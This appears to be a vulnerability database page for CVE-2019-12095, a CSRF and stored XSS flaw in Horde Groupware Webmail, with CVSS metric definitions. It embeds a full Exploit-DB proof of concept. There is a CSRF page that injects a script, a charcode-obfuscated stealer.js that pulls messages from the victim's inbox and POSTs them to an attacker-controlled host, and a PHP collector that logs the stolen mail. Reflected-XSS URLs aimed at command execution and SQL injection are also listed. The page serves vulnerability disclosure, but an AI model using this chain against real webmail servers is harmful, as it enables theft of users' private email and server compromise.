CVE-2019-12095 : Detail

CVE-2019-12095

8.8
/
High
Cross-Site Request Forgery - CSRFCross-site Scripting
A01-Broken Access ControlA03-Injection
5.35%V3
Network
2019-10-24
15h09 +00:00
2019-12-14
05h06 +00:00
CVE.org
NVD
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CVE Descriptions

Horde Trean, as used in Horde Groupware Webmail Edition through 5.2.22 and other products, allows CSRF, as demonstrated by the treanBookmarkTags parameter to the trean/ URI on a webmail server. NOTE: treanBookmarkTags could, for example, be a stored XSS payload.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-352 Cross-Site Request Forgery (CSRF)
The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 6.8 AV:N/AC:M/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 46903

Publication date : 2019-05-21 22h00 +00:00
Author : InfinitumIT
EDB Verified : No

# Title: Horde Webmail - XSS + CSRF to SQLi, RCE, Stealing Emails <= v5.2.22 # Date: 17.05.2019 # Author: InfinitumIT # Vendor Homepage: https://www.horde.org/ # Version: Up to v5.2.22. # CVE: CVE-2019-12094 & CVE-2019-12095 # [email protected] && [email protected] # PoC: https://numanozdemir.com/respdisc/horde/horde.mp4 # Materials: https://numanozdemir.com/respdisc/horde/materials.zip # Description: # Attacker can combine "CSRF vulnerability in Trean Bookmarks (defaultly installed on Horde Groupware)" and # "Stored XSS vulnerability in Horde TagCloud (defaultly installed)" vulnerabilities to steal victim's emails. # Also: # Attacker can use 3 different reflected XSS vulnerability to exploit Remote Command Execution, SQL Injection and Code Execution. # To steal e-mails, attacker will send an e-mail to victim and victim will click the attacker's website. # So, victim's inbox will be dumped in attacker's FTP. # All of them vulnerabillities are valid for all Horde Webmail versions. # Attacker will exploit the CSRF and XSS with: index.html # Attacker will steal and post the emails with: stealer.js # Attacker will save the emails with: stealer.php # index.html Codes: <script> var url = "http://webmail.victimserver.com/trean/"; var params = 'iframe=0&popup=0&newFolder=&actionID=add_bookmark&url=http%3A%2F%2Ftest.com&title=vulnerability&description=vulnerability&treanBookmarkTags=%22%3E%3Cscript%2Fsrc%3D%22http%3A%2F%2Fyourwebsite.com%2Fhorde%2Fstealer.js%22%3E%3C%2Fscript%3E'; var vuln = new XMLHttpRequest(); vuln.open("POST", url, true); vuln.withCredentials = 'true'; vuln.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); vuln.send(params); </script> <embed/src="http://webmail.victimserver.com/services/portal/"/height="1"/width="1"> # stealer.js Codes: eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,39,104,116,116,112,58,47,47,99,111,100,101,46,106,113,117,101,114,121,46,99,111,109,47,106,113,117,101,114,121,45,51,46,51,46,49,46,109,105,110,46,106,115,39,62,60,47,115,99,114,105,112,116,62,60,115,99,114,105,112,116,62,102,117,110,99,116,105,111,110,32,115,116,101,97,108,40,115,116,97,114,116,44,32,101,110,100,41,123,118,97,114,32,115,116,97,114,116,59,118,97,114,32,101,110,100,59,118,97,114,32,105,59,102,111,114,40,105,61,115,116,97,114,116,59,32,105,60,61,101,110,100,59,32,105,43,43,41,123,36,46,103,101,116,40,39,104,116,116,112,58,47,47,119,101,98,109,97,105,108,46,118,105,99,116,105,109,115,101,114,118,101,114,46,99,111,109,47,105,109,112,47,118,105,101,119,46,112,104,112,63,97,99,116,105,111,110,73,68,61,118,105,101,119,95,115,111,117,114,99,101,38,105,100,61,48,38,109,117,105,100,61,123,53,125,73,78,66,79,88,39,43,105,44,32,102,117,110,99,116,105,111,110,40,100,97,116,97,41,123,118,97,114,32,120,109,108,72,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,120,109,108,72,116,116,112,46,111,112,101,110,40,39,80,79,83,84,39,44,32,39,104,116,116,112,58,47,47,121,111,117,114,119,101,98,115,105,116,101,46,99,111,109,47,104,111,114,100,101,47,115,116,101,97,108,101,114,46,112,104,112,39,44,32,116,114,117,101,41,59,120,109,108,72,116,116,112,46,115,101,116,82,101,113,117,101,115,116,72,101,97,100,101,114,40,39,67,111,110,116,101,110,116,45,84,121,112,101,39,44,32,39,97,112,112,108,105,99,97,116,105,111,110,47,120,45,119,119,119,45,102,111,114,109,45,117,114,108,101,110,99,111,100,101,100,39,41,59,120,109,108,72,116,116,112,46,115,101,110,100,40,39,105,110,98,111,120,61,39,43,100,97,116,97,41,59,125,41,59,125,114,101,116,117,114,110,32,105,59,125,115,116,101,97,108,40,56,44,49,53,41,59,60,47,115,99,114,105,112,116,62,34,41,59,10,47,47,32,115,116,101,97,108,40,120,44,121,41,32,61,32,115,116,101,97,108,32,102,114,111,109,32,105,100,32,120,32,116,111,32,105,100,32,121)) // It is charcoded, firstly decode and edit for yourself then encode again. Also dont forget to remove spaces! # stealer.php Codes: <?php header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Headers: *'); if($_POST['inbox']){ $logs = fopen("inbox.txt", "a+"); $data = $_POST['inbox']." ----------------------------------------------------------------- ".chr(13).chr(10).chr(13).chr(10); fwrite($logs, $data); } ?> # _____________________________________________________________________________________________________ # Reflected XSS to Remote Command Execution, Remote Code Execution and SQL Injection: # http://webmail.victimserver.com/groupware/admin/user.php?user_name=XSS-PAYLOAD-HERE&form=update_f # http://webmailvictimserver.com/groupware/admin/user.php?user_name=XSS-PAYLOAD-HERE&form=remove_f # http://webmail.victimserver.com/groupware/admin/config/diff.php?app=XSS-PAYLOAD-HERE # Attacker can execute commands & PHP codes remotely and inject harmful SQL queries. # Also, attacker can create users too with those reflected XSS vulnerabilities. # Stay Secure with InfinitumIT - infinitumit.com.tr

Products Mentioned

Configuraton 0

Horde>>Groupware >> Version To (including) 5.2.22

References